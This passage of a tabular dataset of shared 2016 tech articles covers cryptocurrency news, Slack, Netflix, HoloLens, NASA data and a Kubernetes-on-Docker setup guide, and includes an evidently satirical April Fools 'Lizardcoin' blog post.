interns will learn the tricks of the trade, which is always beneficial to landing a future job. In fact, Blockchain has some job opportunities on their page, including internships, which might be worth checking out for people passionate about getting involved in the Bitcoin world. Other Bitcoin job listing platforms, such as Coinality, often feature internship opportunities as well, as Bitcoin startups are always looking out for fresh talent.",en
1459791099,CONTENT SHARED,5274322067107287523,4340306774493623681,-2741563996112096982,,,,HTML,http://www.newsbtc.com/2016/04/02/ethereum-bitcoin-market-leaders-not-competitors/,Ethereum and Bitcoin Are Market Leaders But Not Competitors,"A lot of people tend to ignore the fact that Bitcoin is not Ethereum and vice versa. Nor should they be, to be frank, as we have seen enough clones of Bitcoin over the past seven years. Ethereum is doing something entirely different, which is a welcome change in the overflowing oceans of useless altcoins. The competition between Bitcoin and Ethereum is real, but it is not taking place in the same niche market. Unlike what most people think, Ethereum and Bitcoin are not achieving the same goal per se, as the former is focusing on making the blockchain more appealing to everyday users, whereas Bitcoin is all about changing the financial sector. Both are leaders in their niche, but they are not direct competitors either. Also read: Andreas Antonopoulos on Ethereum and Bitcoin at Blockchain Meetup Berlin Bitcoin And Ethereum Are Apex Predators There is no denying both and are leading the charge in the world of digital currency and blockchain technology. Both projects have seen tremendous success and interest from investors over the past few years, which will be beneficial to further develop their respective ecosystems. But at the same time, a lot of people tend to ignore the fact that is not Ethereum and vice versa. Nor should they be, to be frank, as we have seen enough clones of Bitcoin over the past seven years. is doing something entirely different, which is a welcome change in the overflowing oceans of useless altcoins. With an adamant focus on blockchain technology , Ethereum holds its own when it comes to making this concept more appealing to enterprises and consumers alike. The addition of smart contracts - although also available in Bitcoin - and an opportunity to create are just two examples of what makes Ethereum so worthwhile. Header image courtesy of Shutterstock Bitcoin, on the other hand, is trying to the financial ecosystem, unlike anything that has come before it. The world's leading digital currency provides anyone in the world with access to financial services on a global scale, and the end user is always in full control of their finances regardless of which device they are using. In the end, it all comes down to drawing the line between these two respectable digital currencies. Bitcoin and Ethereum can peacefully coexist, and they are competing against something. Yet that something is not each other, as they are not trying to achieve the same goal in their current form. For the digital currency enthusiast, which we all are in our hearts, this is a good thing.",en
1459791163,CONTENT SHARED,-4917007328809735647,4340306774493623681,-2741563996112096982,,,,HTML,http://cointelegraph.com/news/google-failure-ethereum-leaps-ecb-giveout-in-cointelegraph-daily-digest,"Google Failure, Ethereum Leaps, ECB Giveout in Cointelegraph Daily Digest","This Friday the media discuss Google's prank failure, Bitcoin investment, Ethereum potential, and executives not feeling responsible for cybersecurity. Cointelegraph has collected important news to help you stay informed. Google's joke Mic Drop feature in Gmail, which muted the conversation and sent out a silly gif, seems to have caused more stresses than smiles. ""It's not okay to prank 900 million people"", writes Gizmodo . Now, Google has backpedalled and scrapped the prank, after users of its Gmail service lost jobs and angered friends and family. Bitcoin is possibly even more secure than gold Forbes has published a large article on whether it is safe to invest in Bitcoin. Frances Coppola assumes that ""it is not ""gubbmint"" that nervous investors fear, but people"". She thinks that the problem lies in investors' desire to invest in safety. Thus, the value of Bitcoin depends on the ability of investors to predict crises. Ethereum is leaps and bounds ahead of all the others Wall Street Daily compares Bitcoin and Ethereum saying that Ethereum has, probably, more potential: it is already seeing the interest of corporate America - including IBM and JP Morgan, as well as of many banks that are studying its model for possible application in an effort to make trading and money transfer more efficient Coinbase asks users for LinkedIn info, citing ""Know Your Customer"" policy The popular Bitcoin exchange and wallet provider, Coinbase , has begun asking for LinkedIn information as part of their 'Know Your Customer' programme, for users who use the platform for trading. Bitdefender Labs release a new free ransomware security tool Bitdefender anti-malware researchers have released a new vaccine tool that offers protection against the likes of CTB-Locker, Locky and TeslaCrypt. The new tool is available as a free download. The European Central Bank could give 1,300 euros to every person in the euro zone Nordea analyst Jan von Gerich believes ECB could consider sending cash directly to the citizens of the 19 euro zone countries. This solution is the creation of so-called 'helicopter money'-that is, the distribution of free cash to individuals in the hope they'll spend it and boost businesses. UN will use blockchain to fight obesity The World Food Program has decided to align with major supermarket chains and food retailers to curb the growing obesity epidemic in the world. The UN body plans to introduce a system whereby each food based transaction would need to be verified on a blockchain at the store checkout before a customer is allowed to buy food. Executives don't feel personally responsible for cybersecurity According to the new survey commissioned with the Nasdaq , more than 90 percent of corporate executives are not prepared to handle a major attack and cannot read a cybersecurity report. They do not feel personally responsible for cybersecurity or protecting the customer data.",en
1459791448,CONTENT SHARED,5680566822246004912,4340306774493623681,-2741563996112096982,,,,HTML,https://blog.ethereum.org/2016/04/01/ethereum-partners-with-r3cev-on-lizardcoin-bringing-together-the-best-of-centralized-finance-and-blockchain-technology/,"Ethereum Partners with R3CEV on Lizardcoin, Bringing Together the Best of Centralized Finance and Blockchain Technology - Ethereum Blog","The Ethereum Foundation has announced that it will be working with the New York-based banking consortium R3CEV on creating a new blockchain-based cryptocurrency, Lizardcoin, which aims to showcase the benefits of blockchain technology as well as the consortium's ability to bring the technology to institutional clients and the regulation-loving masses by supplementing it with a healthy dose of centralized control . Lizardcoin aims to be a direct competitor to Bitcoin as a store-of-value, beating out Bitcoin's 21 million fixed supply cap with a first-in-its-class deflationary model, starting with a maximum supply of 20.9 million and then further reducing the supply by 1.5% every year. It does this by taking advantage of one of the greatest innovations of modern central banking: negative interest rates. All accounts are charged a holding fee of 2.5% per year, of which 1.0% will go to member banks to do whatever they damn well please. In order to use Lizardcoin, a user must first separately go through KYC verification processes with 28 out of 42 member banks. ""That way it's more decentralized,"" Tim Grant explains; ""even if an entire 13 banks all get co-opted by the Goa'uld during the next Illuminati cabal summit, the aliens will not be able to create an infinite number of new accounts, stop the system from functioning, or go through disjoint subsets of member banks to create multiple accounts for the same person"". The mechanism has been approved by Byzantine fault tolerance experts Andrew Miller and Emin Gun Sirer, although Turkish prime minister Recep Tayyip Erdogan has declined to comment, claiming that it is grossly offensive for computer scientists to use a former name of Istanbul to refer to actors that are compromised or malicious. Paul Randomer from IBM has spoken favorably about the project, saying ""we at IBM have a team of two people building on Lizardcoin technology, and we hope that our willingness to include this platform in our portfolio of 37125 internal research projects comprising almost every technology in every industry under the sun shows that This Is Huge™, and that we believe that Lizardcoin is definitely the future"". Bob Inthere from JP Morgan adds, ""for too long banks have been threatened by decentralized technology. Now, we have a platform with which we can use the power of cryptocurrency not to disrupt our core business lines, but rather to entrench them, and ensure for ourselves a stream of revenue that will go forward forever, and better serve our true lizard-headed masters ."" We are also in active talks with the Department of Homeland Security regarding developing a strategy for how Lizardcoin can be used to combat terrorism worldwide. We hope that the people standing behind us in the security line won't mind too much - after all, we are building the next generation revolutionary economy. The Lizardcoin crowdsale* will start in two wooks, and ether and unicorns will be accepted as payment, at an exchange rate of 1 unicorn = 2.014 ETH = 4.712388 LIZ; anyone in the world will be able to participate, although they will need to go through the KYC process with 28 banks first, including multiple in-person visits in several countries; we have partnered with Coindesk to host blockchain conferences at each of these countries over the next 12 months, so that people can continue summitting while getting their approval stamps to purchase the summit of what blockchain technology has to offer. *The Lizardcoin crowdsale does not carry any legal guarantees or promises; neither R3CEV nor Ethereum accept any responsibility for continuing development of the Lizardcoin platform once the crowdsale is completed. In fact, because Ethereum is a public blockchain and hence lacks settlement finality , neither ether nor unicorns nor Lizardcoin will ever actually change hands - it will only get exponentially probabilistically close to doing so; for this reason, the Lizardcoin crowdsale in fact does not legally constitute an offering of any kind.",en
1459791674,CONTENT SHARED,8084284001249507595,4340306774493623681,-2741563996112096982,,,,HTML,https://news.bitcoin.com/microsoft-embrace-digital-currency/,Microsoft Continues to Embrace Ethereum & Bitcoin - Bitcoin News,"Microsoft Also read: Putin's Advisor: Bitcoin Legality in Other Countries is 'Fiction' is continuing to support cryptocurrency and blockchain technology within its infrastructure. Just recently, ConsenSys and Microsoft have collaborated on integrating 's programming language, Solidity into the company's Visual Studio . The tech giant company has also revealed that Excel 2016 will support Bitcoin's currency format within the MS Office suite. Microsoft Enables Thousands of Devs to Build with Ethereum The reveal of this integration was introduced at Microsoft's Build presentation with Ethereum co-founders Vitalik Buterin and Joseph Lubin attending the event. Build focuses on presenting the latest technology and tools to help developers generate innovative concepts. The implementation of the code will allow developers to create with its protocol, building decentralized applications (Dapps), smart contracts, and IoT compatibility. Through this collaboration, Windows users will be able to develop programs via the Ethereum Virtual Network (EVM). Buterin stated: What do you think about Microsoft's deep involvement with cryptocurrency and blockchain tech? Could it give them the edge the company once had? Let us know in the comments below! Images courtesy of Microsoft, Ethereum Making it easier for developers to build applications on top of Ethereum through developer tools has always been one of our primary interests and focuses, and the integration of Solidity in Visual Studio will help bring Ethereum to a very large developer community. I am looking forward to seeing the results that this collaboration will bring. Solidity is a javascript-like programming language used for developing on the EVM. With the language users can write applications ""that implement self-enforcing business logic embodied in smart contracts , leaving a non-repudiable and authoritative record of transactions."" Visual Studio is a development environment that is used to build these programs for Windows, Android, and iOS platforms. Director of BizDev & Strategy for Blockchain at Microsoft Marley Gray said of the announcement: This integration with Visual Studio will offer developers enterprise-grade solutions with advanced capabilities for teams working on blockchain Smart Contract projects of any size and complexity. We are excited to continue to support the development and innovation of the distributed ledger ecosystem. Excel 2016 will Support Bitcoin Currency Format The Bitcoin currency format was revealed in the Office 365 Roadmap , which explains the development and upcoming updates to the software suite. Microsoft Office is currently the business application used by companies. Format support is currently in ""development"" but will offer a variety of use cases when it becomes available. The Roadmap states, ""Now use Excel to track, calculate and analyze Bitcoin data using native number formatting options. The feature is first being rolled out to Excel 2016 for Windows, Excel Online, Excel Mobile for Windows and Excel Mobile for Android."" Microsoft clearly is interested in the digital currency and with Ethereum and Bitcoin being melded into its software. Projects like the cloud-based Microsoft Azure program and the blockchain environment acceptance of this emerging technology has been profound. The company still accepts Bitcoin and is now integrating certain elements of these technologies to prepare for the future. Jamie Redman is a Bitcoin enthusiast, trader, journalist and graphic artist. For over 4 years Redman has been deeply infused in the cryptocurrency space. Creating a ton of Bitcoin visuals and articles for the community to enjoy, Redman continues his quest to be a candid evangelist for the use of the virtual currency. The mission is to bring the ""Jazz"" to Bitcoin branding and add artistic flare.",en
1459792892,CONTENT SHARED,4814419120794996930,268671367195911338,-3964029441019551093,,,,HTML,http://fortune.com/2016/03/27/netflix-predicts-taste/,"Netflix says Geography, Age, and Gender are ""Garbage"" for Predicting Taste","Netflix rolled out to 130 new countries earlier this year, and you might expect that it began carefully tailoring its offerings for each of them, or at least for various regions. But as a new Wired feature reveals, that couldn't be further from the truth-Netflix uses one predictive algorithm worldwide, and it treats demographic data as almost irrelevant. Get Data Sheet , Fortune 's technology newsletter. ""Geography, age, and gender? We put that in the garbage heap,"" VP of product Todd Yellin said. Instead, viewers are grouped into ""clusters"" almost exclusively by common taste, and their Netflix homepages highlight the relatively small slice of content that matches their taste profile. Those profiles could be the same for someone in New Orleans as someone in New Delhi (though they would likely have access to very different libraries ). Netflix seems to have discovered (or built on) a powerful insight from sociology and psychology: That in general, the variation within any population group is much wider than the collective difference between any two groups. So if you want to, say, get someone to stream more of your content, you're better off leveraging what you know about similar individuals in completely different demographic groups, than trying to cater to broad generalizations. For more on Netflix, watch our video: As an example, Wired shares that 90% of Netflix's total anime streaming volume comes from outside Japan. That's because how much you like anime is determined less by your nationality than by (pardon me) how big of a nerd you are. There's a huge, crucial lesson here for other businesses-and perhaps a slightly scary reality for consumers. In the era of big data, consumer profiling can't rely on broad categories like race or location. To target the customers who want what you're offering, you have to get past the surface and see what really makes them tick.",en
1459796796,CONTENT SHARED,-9090514312860140897,-2626634673110551643,5748213509196570804,,,,HTML,https://blog.openbazaar.org/openbazaar-is-open-for-business/,OpenBazaar is Open for Business,"OpenBazaar is now released on the mainnet and is ready for real transactions. You can download the program on the OpenBazaar website . You can read our explaining how to use OpenBazaar for the first time. If you need help, user tutorial join our Slack or visit our help center . If you're not familiar with OpenBazaar, it's a decentralized peer-to-peer network for trade that uses Bitcoin. That trade happens directly between buyers and sellers with no one in the middle - and no fees or restrictions on trade. You can read more about it at this post . Below is a press release with more details on the release. Press release ""OpenBazaar Team Releases First Version of Decentralized Marketplace"" Washington, DC - April 4th, 2016 - OpenBazaar - the decentralized marketplace that uses Bitcoin - is now open for business. Today, the core developers of OpenBazaar released the first version of their peer-to-peer marketplace. Project leader Brian Hoffman stated, ""Trade was meant to be free. This idea inspired us to spend the last two years building OpenBazaar. Starting today, anyone in the world with access to an Internet connection can use Bitcoin and OpenBazaar to exchange goods and services freely. We can't wait to see how people will use this tool."" Unlike the online marketplace giants Alibaba, Amazon, or eBay, this new model of online commerce isn't controlled by any company or organization. OpenBazaar is a fully peer-to-peer marketplace where buyers and sellers engage in trade directly with each other. Because there are no middleman in the trade, users don't pay any fees to use the network, and there are no terms and conditions to sign. OpenBazaar is permissionless trade. There are also no central authorities that act as gatekeepers and restrict trade. OpenBazaar launched a test version of their software March 1st, and saw more than 25,000 downloads from 126 countries. Users posted more than 3,000 listings to test out the software in preparation for the public release. In 2015, the OpenBazaar core-developers received funding from Union Square Ventures, Andreessen-Horowitz, and angel investor William Mougayar to form a company, enabling full-time development of the protocol and software. The company, named 'OB1', will continue releasing improved versions of the software over the coming months, and will begin offering services to users on the network. Users who want to join OpenBazaar can download the program for free on the OpenBazaar website .",en
1459796957,CONTENT SHARED,-1484165300616478995,-1032019229384696495,-1428170416432281222,,,,HTML,http://www.theguardian.com/technology/2016/apr/04/slack-uber-apps-parting,"Slack and Uber's parting proves when apps unite, it isn't always a smooth ride","What happens when two darlings of the American tech scene meet in the workplace? It seems that magic emphatically does not happen - at least if the parting of ways between Slack and Uber is anything to go by. The New York Times reports that the fancy chat app ( latest valuation: $3.8bn ) didn't play nicely with the fancy minicab app ( latest valuation: $62.5bn ): ""Recently, the ride-hailing service Uber dropped Slack because the service could not handle the thousands of Uber employees trying to communicate simultaneously, according to people who work at both companies."" Slack is hugely popular among the small teams of developers who make up the core of its user base. Its extensibility pushes it above older chat clients, allowing users to easily build plugins that can do anything from automatically posting new versions of code, to suggesting alternate headlines for articles based on search interest. Similarly, if you only need a chat solution to co-ordinate your 44 interns , Slack is significantly easier to set up than a dedicated IRC client. But much of the company's heady valuation has been based on the assumption that, as it grows, it will enter the much larger enterprise market, where businesses with hundreds of thousands of employees buy licenses for millions of dollars. That could prove tricky if Slack can't handle the relatively small number of employees Uber has. But there's always another possibility. Slack was founded by Stewart Butterfield , a man famous for accidentally starting companies. Flickr, his first success, grew out of the seeds of a failed online game called Game Neverending, while Slack itself was initially created to enable the team behind Butterfield's second failed online game, Glitch, to communicate. So could Slack itself pivot? It may not be the intended use, but there's a growing community using the chat app to build their own closed-off social networks. From attendees of the hip digital conference XOXO, to the 1,500 people who paid £10 to enter the TechLondon Slack, users are drawn by the ability to have the sort of freewheeling discussions that used to be common on Twitter, without the threat of random interlopers. Though that's unlikely to make it billions from massive corporations. Beyond email: could startup Slack change the way you work?",en
1459797439,CONTENT SHARED,-1051830303851697653,-1032019229384696495,-1428170416432281222,,,,HTML,http://www.wired.com/2016/04/google-drive-scary-smart-searching-images/,Google Drive Is Scary-Smart at Searching Your Images,"If you use Google Photos regularly, you're probably already aware of its impressive machine-learning skills. Searching for keywords such as ""cactus,"" ""Golden Gate Bridge,"" or ""baseball"" in your photo roll will bring up eerily appropriate images. It doesn't matter if you don't tag your shots; the results are driven by machine learning, not by metadata. The same search functionality exists in Google Drive. If you store or share images with Drive, the same text-based searches will bring up results there, too. Simply use the ""Search Drive"" input field at the top of the page or tap the magnifying glass icon in the mobile app to enter text. Your search results should include pictures that reflect those keywords, as well as any documents that contain that text. If you want all your Google Photos and your Google Drive documents accessible in the same place, you can do that, too. Click on the Settings icon, scroll down to ""Create a Google Photos folder,"" and check the box next to ""Automatically put your Google Photos into a folder in My Drive.""",en
1459801616,CONTENT SHARED,5317978293082383492,3891637997717104548,1435327470659599485,,,,HTML,http://kubernetes.io/docs/getting-started-guides/docker/,Running Kubernetes Locally via Docker,"Edit This Page The following instructions show you how to set up a simple, single node Kubernetes cluster using Docker. Here's a diagram of what the final result will look like: Prerequisites You need to have docker installed on one machine. Decide what Kubernetes version to use. Set the ${K8S_VERSION} variable to a released version of Kubernetes >= ""1.2.0"" Run it Note that --cluster-dns and --cluster-domain is used to deploy dns, feel free to discard them if dns is not needed. If you would like to mount an external device as a volume, add --volume=/dev:/dev to the command above. It may however, cause some problems described in #18230 This actually runs the kubelet, which in turn runs a pod that contains the other master components. Download kubectl At this point you should have a running Kubernetes cluster. You can test this by downloading the kubectl binary for ${K8S_VERSION} (look at the URL in the following links) and make it available by editing your PATH environment variable. ( OS X/amd64 ) ( OS X/386 ) ( linux/amd64 ) ( linux/386 ) ( linux/arm ) For example, OS X: wget { K8S_VERSION }/bin/darwin/amd64/kubectl chmod 755 kubectl PATH = $PATH:` pwd ` Linux: wget { K8S_VERSION }/bin/linux/amd64/kubectl chmod 755 kubectl PATH = $PATH:` pwd ` On OS X, to make the API server accessible locally, setup a ssh tunnel. docker-machine ssh `docker-machine active` -N -L 8080:localhost:8080 Setting up a ssh tunnel is applicable to remote docker hosts as well. (Optional) Create kubernetes cluster configuration: kubectl config set-cluster test-doc --server= kubectl config set-context test-doc --cluster= test-doc kubectl config use-context test-doc Test it out List the nodes in your cluster by running: This should print: NAME LABELS STATUS 127.0.0.1 kubernetes.io/hostname=127.0.0.1 Ready Run an application kubectl run nginx --image=nginx --port=80 Now run docker ps you should see nginx running. You may need to wait a few minutes for the image to get pulled. Expose it as a service kubectl expose deployment nginx --port=80 Run the following command to obtain the cluster local IP of this service we just created: Hit the webserver with this IP: kubectl get svc nginx --template={<!-- -->{.spec.clusterIP}} On OS X, since docker is running inside a VM, run the following command instead: shell docker-machine ssh `docker-machine active` curl $ip Deploy a DNS See here for instructions. Turning down your cluster Delete all the containers including the kubelet: Many of these containers run under the management of the kubelet binary, which attempts to keep containers running, even if they fail. So, in order to turn down the cluster, you need to first kill the kubelet container, and then any other containers. You may use docker kill $(docker ps -aq) , note this removes all containers running under Docker, so use with caution. Cleanup the filesystem: On OS X, first ssh into the docker VM: docker-machine ssh `docker-machine active` sudo umount `cat /proc/mounts | grep /var/lib/kubelet | awk '{print $2}' ` sudo rm -rf /var/lib/kubelet Troubleshooting Node is in NotReady state If you see your node as NotReady it's possible that your OS does not have memcg enabled. Your kernel should support memory accounting. Ensure that the following configs are turned on in your linux kernel: shell CONFIG_RESOURCE_COUNTERS=y CONFIG_MEMCG=y Enable the memory accounting in the kernel, at boot, as command line parameters as follows: shell GRUB_CMDLINE_LINUX=""cgroup_enable=memory=1"" NOTE: The above is specifically for GRUB2. You can check the command line parameters passed to your kernel by looking at the output of /proc/cmdline: shell $ cat /proc/cmdline BOOT_IMAGE=/boot/vmlinuz-3.18.4-aufs root=/dev/sda5 ro cgroup_enable=memory=1",en
1459803191,CONTENT SHARED,-844797936291539016,-1032019229384696495,-1428170416432281222,,,,HTML,http://mashable.com/2016/04/04/unexpected-uses-slack/,How people using Slack to organise their grocery lists is helping it grow,"When Cal Henderson began working on real-time workplace communication platform Slack in 2013, he never expected people to turn to it for organising family vacations or for sharing their love of burgers. Henderson, the chief technology officer and cofounder, is in Australia to open the company's new Melbourne office . He told Mashable Australia the use of the platform by groups of family and friends came as a surprise, but fits well with Slack's record of bottom-up growth. ""We see it used by interest groups, such as leadership groups, or groups of developers who don't work together ... that's been a real vector for it to spread,"" he said. ""A lot of our growth has been bottom-up within a company, where someone introduces it to their small team and then it grows from there."" The company claims to have 2.3 million daily active users globally. Henderson himself has a family Slack channel, but maintained the company is not going to focus on consumer messaging. ""The product wasn't built for that, so you lose out on a lot of the things that are good about Slack,"" he explained. ""I f you're a software development company, then we integrate with GitHub and Asana ... Typically, you don't use that with your friends for going out, unless you're particularly fastidious."" For the moment, non-commercial use of the platform will remain simply a happy side-effect . ""We're not spending a lot of time thinking about how to make the best product for consumer messaging,"" Henderson said. ""T here's already a lot of great products out there, especially with mobile, that do a really good job."" Instead, Slack will focus this year on building up its enterprise offering for teams of up to 100,000 people, he said, as well as taking a fresh look at Slack's platform integrations with outside products such as Salesforce and Google Docs. Perhaps people are using Slack for non-work activities because they already spend all their waking hours logged on. The act of messaging someone on Slack is so effortless, the company could be blamed for helping to erode the boundaries between the work day and after hours, already fairly fragile thanks to the ubiquity of the smartphone. Henderson, for his part, suggested Slack makes it easier to completely switch off. In his view, rather than needing to turn off notifications across email, Skype, SMS or even Facebook Messenger, Slack consolidates communication and allows you to easily kill alerts. ""Because it's all in one place, it gives you an easier way to turn it all off,"" he said. ""I have 'DND' turned on overnight,"" he added, referring to the program's do not disturb mode. ""[Slack] is the sole medium I use to communicate with people at work. If I want to switch off, it's just the one app I have to ignore."" Ultimately, he suggested, the manner in which Slack is used comes down to workplace culture. ""Early on, we'd look at a lot of statistics about how different companies were using it,"" he said. "" In some companies, nobody looked at Slack on the weekend. Zero. Some people, there was no difference between the [week and the] weekends. Some people have a hard cutoff at 5 p.m., and some people trickle away until 2 a.m."" At Slack in particular, it comes down to individual teams and how they operate. While their operations and customer care teams work 24/7, there aren't any blanket rules. "" People have their 'DND' rules set up individually,"" Henderson said. In any case, at least Slack users are hopefully getting less email. ""We're in our fourth year of building Slack now, and I've received maybe five or 10 emails from other people who work at Slack in that whole time,"" he said. At the very least, using Slack means companies may be enduring less horrendous reply all situations on email. ""We do a lot of voting via emoji reactions [at Slack],"" Henderson said. ""That's a way to gather feedback. Using email, that would have been hundreds of emails replying yes or no, which is a terrible use for email."" Have something to add to this story? Share it in the comments.",en
1459813780,CONTENT SHARED,751528815916485437,-6030696784871381528,-7602668779836480273,,,,HTML,http://m.olhardigital.uol.com.br/noticia/testamos-o-hololens-os-oculos-do-futuro-da-microsoft/56858,"Olhar Digital: Notícia: Testamos o HoloLens, os óculos do futuro da Microsoft","A Microsoft revelou as novidades de seus produtos para os desenvolvedores na semana passada durante a conferência Build, realizada em San Francisco, nos EUA. Windows 10, Xbox One e Office ganharam retoques, mas quem roubou a cena foi o HoloLens, os óculos de realidade aumentada da empresa. Nós tivemos a oportunidade de testá-los e vamos relatar a experiência com a maior fidelidade possível. Se você acompanha o Olhar Digital , já conferiu vídeos que mostram o potencial revolucionário deste dispositivo apresentado no ano passado ( quem não se lembra das projeções de Minecraft durante a feira E3? ). Se está por fora do assunto, entenda do que estamos falando: trata-se de um conceito novo e promissor, capaz de mudar radicalmente a forma como consumimos entretenimento virtual. O HoloLens projeta holografias no ambiente real onde é utilizado. As imagens 3D, exibidas em uma pequena tela transparente à frente dos olhos, se espalham ao redor do usuário permitindo experiências incrivelmente imersivas e interativas. Diferente dos modelos de realidade virtual, como os óculos do Facebook, o Hololens não transporta as pessoas para um universo paralelo - tudo acontece no mundo real. Além disso, ele acessa à internet, tira fotos e grava vídeos, atendendo aos comandos por gestos e voz. Considerado pela Microsoft mais potente que um notebook médio, o dispositivo tem 2GB de memória RAM, 64GB de armazenamento flash, conectividade via Bluetooth e Wi-Fi e câmera HD de 2 megapixels. A vida útil da bateria não supera três horas, e o carregamento é feito com um cabo Micro USB. Independente, o aparelho não precisa de PC ou smartphone para funcionar porque, por si só, ele é um computador rodando Windows 10, com uma unidade de processamento holográfico customizada pela Microsoft, além de um processador Intel de 32 bits. No papel, as características agradam. Será que é tudo isso mesmo? Veremos a seguir. Preparação O HoloLens tem suas particularidades e não é tão intuitivo quanto um celular ou qualquer outro aparelho com o qual já estamos acostumados. Para utilizá-lo é necessário fazer um treinamento prévio oferecido pela Microsoft, que disponibilizou monitores para orientar os jornalistas convidados a participar do teste. A primeira etapa é ajustar os óculos à cabeça. Eles são pesados - 579 gramas - e causam ainda mais desconforto em quem usa óculos de grau (como eu). É incômodo, acredite. Mesmo assim, a recomendação é encaixá-los da melhor forma possível, para garantir uma experiência mais proveitosa. Do contrário, o campo de visão fica muito limitado, carecendo de ajustes constantes. Ao ligar o aparelho, é preciso fazer uma breve autenticação da visão - um olho por vez. As instruções são dadas por comandos de voz, em inglês, pela assistente virtual Cortana, que é profundamente integrada à plataforma. Isto é necessário para medir a distância entre a íris e a tela, de forma a calibrar as projeções adequadamente. Segundo a Microsoft, o sistema é inteligente e aprende rápido: quando mais se usa, melhor ele desempenha. Cumprida esta etapa, surgem os primeiros esboços holográficos. Ao olhar para os lados, os óculos disparam imagens aleatórias para ""radiografar"" os objetos à volta do usuário. Mesas, cadeiras e até pessoas são cobertas por teias rosas brilhantes e quadriculadas. A Microsoft explica que esta é a fase de reconhecimento do ambiente, feito por meio de sensores, com base nas informações captadas na análise ocular. Valendo! Um computador à nossa frente, conectado ao HoloLens, dá vida às holografias exibidas no dispositivo - no futuro, a ideia é que aplicativos façam esta função no próprio aparelho. Na demonstração, o programa Visual Studio é a plataforma escolhida para armazenar os projetos pré-montados e transportá-los para os óculos. O passo a passo é simples e rápido, e em questão de minutos nasce a primeira construção: uma bola de cristal azul flutuante sustentada por uma estrutura branca. O modo de funcionamento do HoloLens lembra o do computador: há um cursor que representa o mouse e um menu de opções. Assim que a imagem aparece na tela, é hora de pegá-la! Para movê-la, é necessário ""clicar"" nela com um movimento de pinça feito com as mãos no ar (a melhor analogia é o gesto do Chaves em 'isso', 'isso', 'isso'). Os olhos devem sempre acompanhar o processo, indicando a direção desejada. Então, basta colocar a imagem onde quiser dentro do alcance da tecnologia, que é num raio de dois metros. Pronto! A transição é fluída, sem engasgos, e reproduzida com boa qualidade de resolução. Na primeira parte do experimento, a holografia é meramente estática. Mas é possível explorá-la de diferentes maneiras, conforme o ângulo escolhido. De baixo, de cima, de perto ou de longe. Cada lado mostra uma perspectiva nova! Dá ainda para literalmente entrar na imagem, 'quebrando-a' para ver a sua parte interna. Tudo isso mantendo absoluto controle do que está acontecendo ao redor, sem desvio de atenção ou tropeços ao caminhar. Um passo além Uma das principais críticas à realidade virtual é o fato de ela contribuir para o afastamento das pessoas, minando a vida social. Atenta a isso, a Microsoft permite interagir com outras pessoas que também estejam utilizando o HoloLens. É verdade que a interação não acontece de forma natural como mostrada nos comerciais da empresa, mas se dá a partir de uma temática divertida e infantil com a ajuda de avatares. Na atividade promovida pela empresa, cada um dos presentes escolheu um avatar que o representasse. Os bichinhos coloridos pairavam sobre as cabeças das pessoas e as acompanhavam por todos os lados. Como eles podiam atingir uns aos outros com munição, não demorou para o início de uma ""guerra holográfica"". Em meio a tiros e explosões, um buraco 'se abriu no chão', com profundidade aparente de cerca de um metro. O vídeo abaixo captura exatamente este momento, embora não faça muito sentido para quem não estava lá (vale pela curiosidade): As projeções mostram o incontestável poder imersivo do HoloLens, mas ainda têm pouca utilidade no dia-a-dia além da pura diversão. Atualmente, a principal função do dispositivo talvez esteja relacionada ao uso da internet: com os óculos, é possível arrastar janelas do navegador Microsoft Edge e do Skype para qualquer lugar dentro do alcance da tecnologia. Mais do que isso: dá para redimensionar o tamanho da janela e deixá-la parada onde você quiser, grande ou pequena, na parede, no sofá, na mesa ou até mesmo no corpo de alguém. Imagine só poder projetar o filme da Netflix ou uma conversa online em qualquer canto da casa... Para que serve? Não faltam ideias envolvendo o HoloLens. Em entrevista ao Olhar Digital , Scott Erickson, gerente de novos dispositivos da Microsoft, disse que que o programa destinado aos desenvolvedores reuniu mais de 5 mil sugestões de aplicações voltadas para games, medicina, educação, mercado corporativo, entre outras áreas. ""Há muitas coisas que os desenvolvedores podem fazer para criar experiências holográficas. Se você puder ver dados e informações na sua frente, esta pode ser uma nova forma de interação e aprendizado"", analisa Erickson. Conclusão Sim, o HoloLens é tão mágico quanto parece ser, abre um leque inimaginável de possibilidades e tem cara de coisa do futuro. No entanto, ainda está cru para ser disponibilizado em larga escala ao público, principalmente porque falta conteúdo. Lançá-lo hoje seria repetir o erro do Google com o Glass, antecipando um conceito que ainda não está pronto. Sem falar no preço salgado do HoloLens: a edição dedicada aos desenvolvedores, que começou a ser entregue na semana passada, custa US$ 3 mil, cerca de R$ 12 mil. Enquanto o projeto ainda está na fase experimental, algumas melhorias são bem-vindas: a construção de um sistema amigável para rodar as aplicações; uma versão mais leve que se adapte melhor à cabeça e incomode menos; e uma tela maior (a atual, que mais parece uma faixa horizontal, tem menos de 10 centímetros), o que limita o campo de visão. Vale ressaltar também que o usuário está sujeito a tontura depois de um certo tempo de uso - meia hora parece ser o limite para evitar desconfortos. A Microsoft não arrisca uma data de lançamento do HoloLens. Isso significa que o futuro dos óculos de realidade aumentada está mais nas mãos dos desenvolvedores do que nas da própria fabricante, que até aqui cumpriu bem a função de criar um hardware poderoso, consistente e inovador. Resta saber a partir de quando nós vamos poder utilizá-lo pra valer e para quais finalidades.",pt
1459815351,CONTENT SHARED,3496156626367166618,-1443636648652872475,-5176458476716424321,,,,HTML,http://www.engadget.com/2016/04/04/nasa-gives-away-earth-mapping-data/,NASA gives away the data from an Earth-mapping spacecraft,"Want to know a whole lot about the Earth's surface? NASA and the Japanese government are now giving away all the data from the ASTER (Advanced Spaceborne Thermal Emission and Reflection Radiometer) instrument... for free. Previously, you had to pay if you wanted anything more than basic topographical maps; now, you get over 16 years' worth of near-infrared elevation and thermal data. This is mostly helpful if you're a student or a scientist, but it could be worth a peek if you've wanted to see how everything from farms to volcanoes can affect the planet's surface heat.",en
